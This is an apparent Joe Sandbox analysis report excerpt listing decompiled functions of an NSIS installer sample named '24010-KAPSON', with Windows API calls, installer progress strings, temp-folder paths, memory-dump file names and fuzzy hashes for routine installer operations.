Opcode Fuzzy Hash: 288dbcc7c85f11a55b3e08142a2a7aff64d3670202badf385cb57de10b60d8c1
Instruction Fuzzy Hash: F52167B1500B04AFCB31DF68DD48A577BF8AF41714B048A2EEA96A26E1D734D904CF58

Function 004026E4 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 00402750
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 0040278B
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027AE
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027C4

Part of subcall function 00406113: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00406129

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 00402870

Strings

9, xrefs: 00402733

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: ab939e13b422882215719eb4d85b304d36e2795fa3dbfbe2acce84fdb36a63bb
Instruction ID: 9e8848406421114bacb3fc7d7daa07285f06221c2759d1c737873bd090f70c65
Opcode Fuzzy Hash: ab939e13b422882215719eb4d85b304d36e2795fa3dbfbe2acce84fdb36a63bb
Instruction Fuzzy Hash: 5951F975D00219ABDF20DF95CA89AAEBB79FF04304F10817BE501B62D0E7B49D82CB58

Function 00402FC6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402FE1
GetTickCount.KERNEL32 ref: 00402FFF
wsprintfW.USER32 ref: 0040302D

Part of subcall function 004055A4: lstrlenW.KERNEL32(Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000,?), ref: 004055DC
Part of subcall function 004055A4: lstrlenW.KERNEL32(00403040,Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000), ref: 004055EC
Part of subcall function 004055A4: lstrcatW.KERNEL32(Completed,00403040,00403040,Completed,00000000,00000000,00000000), ref: 004055FF
Part of subcall function 004055A4: SetWindowTextW.USER32(Completed,Completed), ref: 00405611
Part of subcall function 004055A4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405637
Part of subcall function 004055A4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405651
Part of subcall function 004055A4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565F

CreateDialogParamW.USER32(0000006F,00000000,00402F2B,00000000), ref: 00403051
ShowWindow.USER32(00000000,00000005), ref: 0040305F

Part of subcall function 00402FAA: MulDiv.KERNEL32(0004244E,00000064,00046AE3), ref: 00402FBF

Strings

... %d%%, xrefs: 00403027

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: ca49b03332079f9d63e61ee0f640dca30561273b5aba0e10e1ae32c3f60c6d11
Instruction ID: a5f4734244b8f6f028ba4000c5489b7d2f6cf4b1dd98660c68856af7419d999b
Opcode Fuzzy Hash: ca49b03332079f9d63e61ee0f640dca30561273b5aba0e10e1ae32c3f60c6d11
Instruction Fuzzy Hash: 1D010470506211EBCB216F64EE0CEAA7B7CAB00B01B10047BF841F11E9DABC4545DB9E

Function 00404E4D Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404E68
GetMessagePos.USER32 ref: 00404E70
ScreenToClient.USER32(?,?), ref: 00404E8A
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404E9C
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404EC2

Strings

f, xrefs: 00404E9E

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction ID: 8ba846b23e886e731abba7044b613a2dc07349659d22c8c6246ceab34d3a3da9
Opcode Fuzzy Hash: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction Fuzzy Hash: C0015E7190021DBADB00DBA4DD85FFEBBBCAF54711F10012BBB50B61C0D7B8AA058BA5

Function 00402F2B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402F49
wsprintfW.USER32 ref: 00402F7D
SetWindowTextW.USER32(?,?), ref: 00402F8D
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402F9F

Strings

verifying installer: %d%%, xrefs: 00402F72, 00402F7B
unpacking data: %d%%, xrefs: 00402F6B

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: 3624e717fbcf7ea6fd8cb3bfca044f62ca72f15282bbc00cb62a71a2cd90e3ed
Instruction ID: 618675c633d4cc4fa353176bd059bfe03840d53555a4d718e50652829a5d94b1
Opcode Fuzzy Hash: 3624e717fbcf7ea6fd8cb3bfca044f62ca72f15282bbc00cb62a71a2cd90e3ed
Instruction Fuzzy Hash: 4CF01D7050020EABDF206F60DE4ABEA3B78EB00349F00803AFA15A51D0DBBD9559DB59

Function 00402947 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 0040299B
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029B7
GlobalFree.KERNEL32(?), ref: 004029F0
GlobalFree.KERNEL32(00000000), ref: 00402A03
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402A1B
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402A2F

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: d96938230be506bb3ce62f46d8dc11094feca3525b7110c1e5131bc4c1b7a030
Instruction ID: 7dc8c05146b407601171e0863837a653734e4b001a2a5e69b47689ac9694c0d9
Opcode Fuzzy Hash: d96938230be506bb3ce62f46d8dc11094feca3525b7110c1e5131bc4c1b7a030
Instruction Fuzzy Hash: 3121C171C00124BBDF216FA5DE49D9E7E79AF04364F10023AF964762E1CB794D419BA8

Function 00404D3F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423748,00423748,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404DE0
wsprintfW.USER32 ref: 00404DE9
SetDlgItemTextW.USER32(?,00423748), ref: 00404DFC

Strings

%u.%u%s%s, xrefs: 00404DCA
H7B, xrefs: 00404DD2

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$H7B
API String ID: 3540041739-107966168
Opcode ID: f073c4526331e437099308c9ea4f4727a83fc85bc9477a72d0d5fe05f0d32628
Instruction ID: 1eef4f6c404c38b42470a280790990b5f635bff36f5ff3debe150acb3f73a003
Opcode Fuzzy Hash: f073c4526331e437099308c9ea4f4727a83fc85bc9477a72d0d5fe05f0d32628
Instruction Fuzzy Hash: 59110873A0412837DB0065ADAC45EDE32989F81374F250237FE26F20D5EA78CD1182E8

Function 00402E41 Relevance: 7.6, APIs: 5, Instructions: 84registryCOMMON

Download Yara Rule

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402E95
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402EE1
RegCloseKey.ADVAPI32(?,?,?), ref: 00402EEA
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F01
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F0C

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: ed3991fc2be658a3b7c9d44a5dbd4852153b7ec6757aa3047461a8b03df9c88d
Instruction ID: 5acf5ff44325b65ef2d3dead3dbb76990f04c91a4d0d8f72c78c18ffef5b4167
Opcode Fuzzy Hash: ed3991fc2be658a3b7c9d44a5dbd4852153b7ec6757aa3047461a8b03df9c88d
Instruction Fuzzy Hash: 05215A71500109BBDF129F90CE89EEF7A7DEB54348F110076B905B11E0E7B48E54AAA8

Function 00401D81 Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D9A
GetClientRect.USER32(?,?), ref: 00401DE5
LoadImageW.USER32(?,?,?,?,?,?), ref: 00401E15
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E29
DeleteObject.GDI32(00000000), ref: 00401E39

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 657c18a0f69634810084f7808af5fab3a58a396e011c15f602512883127771f4
Instruction ID: def1b01f8fd4f78887aa18ea50614605241407c0d84dd339e733dcfbebc98a92
Opcode Fuzzy Hash: 657c18a0f69634810084f7808af5fab3a58a396e011c15f602512883127771f4
Instruction Fuzzy Hash: 06212672A04119AFCB05CFA4DE45AEEBBB5EF08304F14403AF945F62A0C7389D51DB98

Function 00401E4E Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401E51
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E6B
MulDiv.KERNEL32(00000000,00000000), ref: 00401E73
ReleaseDC.USER32(?,00000000), ref: 00401E84
CreateFontIndirectW.GDI32(0040CDF8), ref: 00401ED3

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 94554544311ab2f32d1f9f235813ecd660138e8dc23dd7fc0019dd27f629f36f
Instruction ID: a76e2873b7558907f835798c96529171b27b16ad4d601dd46fbfe91b59f2db27
Opcode Fuzzy Hash: 94554544311ab2f32d1f9f235813ecd660138e8dc23dd7fc0019dd27f629f36f
Instruction Fuzzy Hash: F101D871900250EFEB005BB4EE89B9A3FB0AF15300F24893EF141B71E2C6B904459BED

Function 00401C43 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CB3
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CCB

Strings

!, xrefs: 00401C7F

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: faab02cff34b921551a1342022214cf29e3e194daab0830cb346dd63cd78f0b5
Instruction ID: 504b766b7349ebce22e5cc184c1b69e4e3709f4fc648736089561923f5a7a9d8
Opcode Fuzzy Hash: faab02cff34b921551a1342022214cf29e3e194daab0830cb346dd63cd78f0b5
Instruction Fuzzy Hash: C221AD7195420AAEEF05AFB4D94AAAE7BB0EF44304F10453EF601B61D1D7B84941CB98

Function 00405E11 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004035C5,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 00405E17
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004035C5,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 00405E21
lstrcatW.KERNEL32(?,0040A014,?,00000007,00000009,0000000B), ref: 00405E33

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405E11

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-823278215
Opcode ID: bed06d4f6a82b163f62297ef23baf12e7c7e8c5859eb2f34a161a285e0ec4316
Instruction ID: be8ecf20d8ded769d30575e1df7d92fadfde1fb70814d4249ac81525444b4036
Opcode Fuzzy Hash: bed06d4f6a82b163f62297ef23baf12e7c7e8c5859eb2f34a161a285e0ec4316
Instruction Fuzzy Hash: 4DD0A7311029347AC2117B489C08CDF62ACAE96300341043BF142B30A4C77C5E5287FD

Function 00403B19 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(000002DC,C:\Users\user\AppData\Local\Temp\,0040394C,00000007,?,00000007,00000009,0000000B), ref: 00403B2B
CloseHandle.KERNEL32(000002EC,C:\Users\user\AppData\Local\Temp\,0040394C,00000007,?,00000007,00000009,0000000B), ref: 00403B3F

Strings

C:\Users\user\AppData\Local\Temp\nspB9D.tmp, xrefs: 00403B4F
C:\Users\user\AppData\Local\Temp\, xrefs: 00403B1E

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: CloseHandle
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nspB9D.tmp
API String ID: 2962429428-3590603716
Opcode ID: aeccf91f195f98651a37afe53933e86c148d7decc5408070ba81ae1a3102e6a3
Instruction ID: f4960ab97bc4c8a2d82e21847187181e2840903b19b2aeb21d370a46e1c92408
Opcode Fuzzy Hash: aeccf91f195f98651a37afe53933e86c148d7decc5408070ba81ae1a3102e6a3
Instruction Fuzzy Hash: 49E0863144471496C1346F7CAE49D853B285B4133A7204326F178F20F1C738A9574E9D

Function 00405F19 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040653C: lstrcpynW.KERNEL32(?,?,00000400,004036A9,00429260,NSIS Error,?,00000007,00000009,0000000B), ref: 00406549

Part of subcall function 00405EBC: CharNextW.USER32(?,?,00425F50,?,00405F30,00425F50,00425F50,75923420,?,75922EE0,00405C6E,?,75923420,75922EE0,00000000), ref: 00405ECA
Part of subcall function 00405EBC: CharNextW.USER32(00000000), ref: 00405ECF
Part of subcall function 00405EBC: CharNextW.USER32(00000000), ref: 00405EE7

lstrlenW.KERNEL32(00425F50,00000000,00425F50,00425F50,75923420,?,75922EE0,00405C6E,?,75923420,75922EE0,00000000), ref: 00405F72
GetFileAttributesW.KERNEL32(00425F50,00425F50,00425F50,00425F50,00425F50,00425F50,00000000,00425F50,00425F50,75923420,?,75922EE0,00405C6E,?,75923420,75922EE0), ref: 00405F82

Strings

P_B, xrefs: 00405F1F

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

